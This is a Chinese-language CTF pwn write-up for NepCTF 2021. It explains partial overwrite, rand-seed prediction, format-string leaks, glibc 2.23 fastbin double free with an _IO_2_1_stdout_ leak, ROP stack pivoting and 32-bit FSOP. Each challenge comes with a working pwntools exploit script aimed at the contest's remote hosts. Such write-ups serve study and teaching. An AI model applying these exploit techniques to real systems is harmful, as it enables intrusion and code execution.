MENU

Nepctf PWN Writeup

March 30, 2021 • Read: 446 • Pwn,CTF

这次比赛作为新生赛,存在着一部分低难度的题目,同样也存在着利用技巧性较高的题目,更是有着最新glibc2.32堆题的内容,值得各位师傅尝试着去复现一下。
我复现了全部的LINUX PWN题,这里把复现过程中遇到的一些问题和知识点给大家呈现。
在此Writeup即将完工之际,官方wp恰好也发出了,但是有些细节还不够详细,我这里对一些官方没有提及到的一些细节做了解释,以及对常用的攻击IO方法做了总结,方便各位师傅学习与复现。

[签到] 送你一朵小红花

图片

发现buf[2]处储存了程序函数指针,会调用执行。

但是由于程序存在PIE,所以无法完全覆盖程序内容来跳转执行,所以这里利用开启PIE后,程序指针后12位不变的特性,利用partial overwrite来复写后两个字节

图片

来覆盖到这个函数上,exp有1/16的成功率。

from pwn import *
context.log_level = "debug"
while True:
    try:
        #r = process('./xhh')
        r = remote('node2.hackingfor.fun', 32396)
        r.send('\x00' * 0x10 + '\xe1\x54')
        r.recvuntil("{")
        r.interactive()
    except:
        pass

easystack

程序是静态编译的,并且去除了符号信息,所以我们在阅读起来的时候存在一些困难,通过调试可以发现

图片

实际上程序就是以当前时间作为种子,然后通过rand函数获取随机数,并且与我们输入的内容做比对。

那么我们可以爆破出程序的种子,并且通过python中的cdll.LoadLibrary来调用glibc库函数,提交后就可以得到flag。

# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
def rnd(n):
elf.srand(n)
return elf.rand()
context.log_level = "debug"
#r = process('./easystack')
r = remote('node2.hackingfor.fun', 37699)
elf = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc-2.23.so')
t = elf.time(0)
r.sendline(p64(rnd(t)))
r.interactive()

scmt

图片

生成随机数,并且与我们输入的内容做比对,程序存在格式化字符串漏洞,我们可以利用这个漏洞来泄露出生成的随机数,并且输入得到shell。

# -*- coding: utf-8 -*-
from pwn import *
#r = process('./scmt')
r = remote('node2.hackingfor.fun', 33601)
r.sendlineafter('name:\n', '%8$p')
r.recvuntil('0x')
num = int(r.recvuntil('\n', drop=True), 16)
r.sendlineafter('number:\n', str(num))
r.interactive()

sooooeasy

这是一道堆题,环境是在glibc2.23下。

存在free后没有清空的漏洞,可以利用这个来double free

图片

没有show函数

图片

只有Add和Delete,所以我们要考虑使用stdout来leak libc

我这里先介绍一下使用IO_2_1_stdout leak的方法

_IO_2_1_stdout_ leak

适用的题目类型

1.无show函数,也就是leak不了堆内容(如果有show函数,那么就可以利用unsorted bin leak)

2.FULL RELRO,也就是got表无法修改(如果可以修改,那么就可以修改free为puts来leak)

3.能够间接(修改size再free)或者直接(直接malloc)的free chunk到unsorted bin,从而在chunk上存在main_arena + 88的地址。

4.能够让3中在unsorted bin中的chunk同时也存在于fastbin中(修改size为0x71,再free),实现fastbin attck

5.能够UAF,部分写入数据到unsored bin->FD覆盖(main_arena + 88)的后两个字节(低地址),使其指向到stdout附近从而可以修改_flags等数据。

这一步中有一些细节需要处理:

a.部分覆盖的具体值由调试可知,因为要检测fastbin size是否在对应范围内,所以要在stdout之前找到一块可以伪造的地址。这个技巧类似于__malloc_hook的修改方法。

b.由于在libc中只有后12个位是固定的,所以我们需要爆破后两个字节中的前4个位,也就是我们有(1/16)的几率利用成功。

利用方法

1.设fp = IO_2_1_stdout

2.绕过一些会报错的检测

a.修改fp->flag = 0xfdab1800(_IO_MAGIC | _IO_IS_APPENDING | _IO_CURRENTLY_PUTTING)

b.输出过内容(_IO_CURRENTLY_PUTTING = 1)

3.修改fp->_IO_write_base = leak addr,一般写入单字节(0x58),这样输出的地址中会有很多libc的地址。

如果是用b的绕过方法,那么还需要让_IO_read_end == _IO_write_base

基本思路

1.先free一个堆块 0x71 进入到fastbin中

2.通过利用申请大堆块会调用malloc_consolidate,这个会让fastbin中的内容进入到unsorted bin中

3.再free一次 0x71的堆块,此时由于之前free的堆块在unsorted bin上,所以不会触发double free

4.此时利用部分写入来写到stdout - 0x43的这个位置,这个位置可以错位,使得0x7F作为堆块的size,从而绕过fastbin申请过程中对堆块size的检测

5.利用上面所讲的思路来修改stdout,并且计算出__malloc_hook的内容,填入合适的one_gadget

6.getshell

小技巧

从cnitlrt师傅那里学到的一个小技巧:本道题目是没有给出libc的,但是我们可以快速的构造出doube free,并且通过远程的报错信息来推测libc版本信息。

图片

EXP

from pwn import *


# libc = ELF('/glibc/x64/2.23/lib/libc.so.6')
libc = ELF('./libc.so.6')


def libcbase():
    infomap = os.popen("cat /proc/{}/maps".format(r.pid)).read()
    data = re.search(".*libc.*\.so", infomap)
    if data:
        libcaddr = data.group().split("-")[0]
        return int(libcaddr, 16)
    else:
        return 0


def choice(idx):
    r.sendlineafter("Your choice : ", str(idx))


def add(size, content='a', message='wjh'):
    choice(1)
    r.sendlineafter("name: ", str(size))
    r.sendafter("Your name:", content)
    r.sendlineafter("Your message:", message)


def delete(idx):
    choice(2)
    r.sendlineafter("index:", str(idx))


def pwn():
    #stdout_addr = libcbase() + libc.sym['_IO_2_1_stdout_'] - 0x43
    stdout_addr = libc.sym['_IO_2_1_stdout_'] - 0x43
    for i in range(2):
        add(0x28)
    for i in range(2):
        delete(i)

    add(0xE8)  # 2
    add(0x68)  # 3
    add(0x18)  # 4
    delete(2)
    delete(3)
    add(0x400)  # 5

    delete(3)
    add(0x88)  # 6
    delete(6)
    add(0x78, 'a' * 0x58 + p64(0x71) + p16(stdout_addr & 0xFFFF))  # 7

    add(0x68)  # 8

    # 9
    choice(1)
    r.sendlineafter("name: ", str(0x68))
    r.sendafter("Your name:", 'a' * 0x33 + p64(0xfbad1800) + '\x00' * 0x18 + '\x58')
    stdout_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 131
    r.sendlineafter("Your message:", 'leak')
    log.success("stdout_addr: " + hex(stdout_addr))
    libc.address = stdout_addr - libc.sym['_IO_2_1_stdout_']

    add(0x68)  # 10
    delete(10)
    delete(8)
    delete(10)

    add(0x68, p64(libc.sym['__malloc_hook'] - 0x23))  # 11
    add(0x68)  # 12
    add(0x68)  # 13
    #one = [0x3f3e6, 0x3f43a, 0xd5c07]
    one = [0x45226, 0x4527a, 0xf0364, 0xf1207]
    add(0x68, 'a' * 0x13 + p64(libc.address + one[2]))  # 14

    delete(1)
    delete(1)

    r.interactive()


while True:
    try:
        # r = process('./sooooeasy')
        r = remote('node2.hackingfor.fun', 34088)
        pwn()
    except:
        pass

easypwn

这道题目花了很长的时间在调试上

图片

题目给了7字节的格式化字符串漏洞,由于长度太短,实在是无法利用。

所以我这里考虑来修改在栈上存放的rbp地址,并且修改末位为x00,这样有概率可以执行到我们的rop数据。

栈喷射

图片

在布置rop的时候,放置一部分ret gadget,来扩大命中范围(当命中ret gadget的时候就会一直滑下去,直到命中我们的rop)

栈迁移

图片

由于rop长度不够,所以我们需要尝试用read读取第二段rop,利用pop rsp这个gadget来进行栈迁移,来提高命中率。

并且在第一段rop操作的话,栈空间的信息不符合one_gadget的要求,而栈转移之后的bss段空间,内容都是为00,可以很好的符合one_gadget的要求

第二段ROP

首先我们先要放几个栈迁移头部的pop,用p64(0) * 3填充即可

紧接着通过puts出got表的信息来泄露libc,然后程序通过计算出libc的基址和one_gadget,再通过read函数把one_gadget地址写到将要执行的栈空间上来getshell。

EXP

from pwn import *
elf = ELF('./easypwn')
libc = ELF('./libc.so.6')
#context.log_level = "debug"
def libcbase():
    infomap = os.popen("cat /proc/{}/maps".format(r.pid)).read()
    data = re.search(".*libc.*\.so", infomap)
    if data:
        libcaddr = data.group().split("-")[0]
        return int(libcaddr, 16)
    else:
        return 0

def pwn():
    bss_addr = elf.bss() + 0x500
    pop_rsi_r15_addr = 0x0000000000400be1
    pop_rdi_addr = 0x0000000000400be3
    main_addr = 0x0000000000400A9E
    ret_addr = 0x0000000000400B7F
    gadget_addr = 0x0000000000400AE3
    pop_rsp_addr = 0x0000000000400bdd
    payload = p64(ret_addr) * 0x10 + p64(pop_rdi_addr) + p64(0) + p64(pop_rsi_r15_addr) + p64(bss_addr) + p64(0) + p64(elf.plt['read']) + p64(pop_rsp_addr) + p64(bss_addr)
    one = [0x4f3d5, 0x4f432, 0x10a41c]

    #gdb.attach(r, "b *0x0000000000400B7F")
    r.sendafter("Please input your teamname: ", payload[-0x50:])
    r.sendafter("input your name", '%22$hhn')
    r.sendafter('input introduction', payload[-0x38:])

    rop_data = p64(0) * 3 + p64(pop_rdi_addr) + p64(elf.got['read']) + p64(elf.plt['puts']) + p64(pop_rdi_addr) + p64(0) + p64(pop_rsi_r15_addr) + p64(bss_addr + 0x60) + p64(0) + p64(elf.plt['read'])

    r.send(rop_data)
    libc_base = u64(r.recvuntil('\x7f', timeout=1)[-6:].ljust(8, '\x00')) - libc.sym['read']
    if libc_base <= 0:
        raise EOFError
    one_gadget = libc_base + one[2]

    r.send(p64(one_gadget))
    r.interactive()

while True:
    try:
        #r = process('./easypwn')
        r = remote('node2.hackingfor.fun', 30811)
        pwn()
    except:
        pass

superpowers

图片

这是一个32位程序,允许一次的读取任意系统文件,和一次非常长的格式化字符串漏洞。

我们可以考虑利用/proc/self/maps来读取libc基址,然后再使用格式化字符串漏洞来进行构造FSOP

FSOP

我们需要利用的内容在于_IO_flush_all_lockp中的以下这部分内容,当系统发生 abort 的时候,会利用_IO_flush_all_lockp来看看各个 fp 指针中还有没有数据没有输出的,如果有,那么就会调用_IO_OVERFLOW,而在在程序结束的时候也会调用,所以我们这里可以构造来触发。

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)

这部分代码在做:
通过_IO_all_list 获取到头指针,然后用 fp->_chain 来寻找下一个指针,直到 0 的时候停止。

所以,如果我们可以控制_IO_list_all,并且达成他要求的一些条件,那么我们就可以通过伪造 vtable 的_IO_OVERFLOW 位置(+0x18)的方式来 getshell。

所以我们可以构造下面两者中任意一个。

1.(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)

2.(_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)

一般来说1更容易构造一些,我这里用的是构造1

当判定条件成立,就会去vtable表中执行_IO_OVERFLOW,执行了我们修改的函数。

顺带一提的是,当执行_IO_OVERFLOW的时候,传入的第一个参数就是,这个 fp 的地址,所以说,如果我们可以修改这个伪造 fp 的头部位置为/bin/sh,并且伪造 vtable 中 _IO_overflow 位置为 system,那么就可以成功 getshell 了。

所以我们可以修改我们的可控位置,也就是 fp 的地址为想要执行的内容,但是一般来说直接修改头部位置,也就是_flags 的位置是不太好的,不过由于这里根本没有用到_flags,所以我们可以直接修改头部。

如果不可以修改_flags 的情况,那么就在他后面写一个;sh;,这样的话由于;的隔开,前面后面的语句都会认为是错误的,所以也成功执行了 sh。

这道题由于是32位的,所以偏移会与上面所说的有一些区别,可以在调试中挖掘。

EXP

from pwn import *
context.log_level = "debug"
context.arch = "i386"
libc = ELF('libc.so')
#r = process('./superpower')
r = remote('node2.hackingfor.fun', 30914)
r.sendlineafter("filename:", "/proc/self/maps")
r.recvuntil('[heap]\n')
r.recvuntil('-')
libc.address = int(r.recvuntil('rw-p', drop=True), 16)
log.success("libc_base: " + hex(libc.address))
stdin_addr = libc.sym['_IO_2_1_stdin_']
data = {
    stdin_addr : 'sh\x00',
    stdin_addr + 0x14: '\xFF',
    stdin_addr + 0x30: p32(libc.sym['system']),
    stdin_addr + 0x94: p32(stdin_addr + 0x30 - 0xC)
}

payload = fmtstr_payload(27, data)
#gdb.attach(r, "b *0x080487B8")
r.sendafter('name?', payload)
r.interactive()

NULL_FXCK

这是一道非常好的题目,引入了glibc2.29以上版本(glibc2.32)的一种绕过check的方法,我决定详细具体的来讲解一番,所以由于篇幅问题就不放在这里讲解了。

之后会发一篇专门讲解glibc2.29以上版本off by null的不同情况应对方式,会以该题目作为核心例题来讲解。

Archives QR Code Tip
QR Code for this page
Tipping QR Code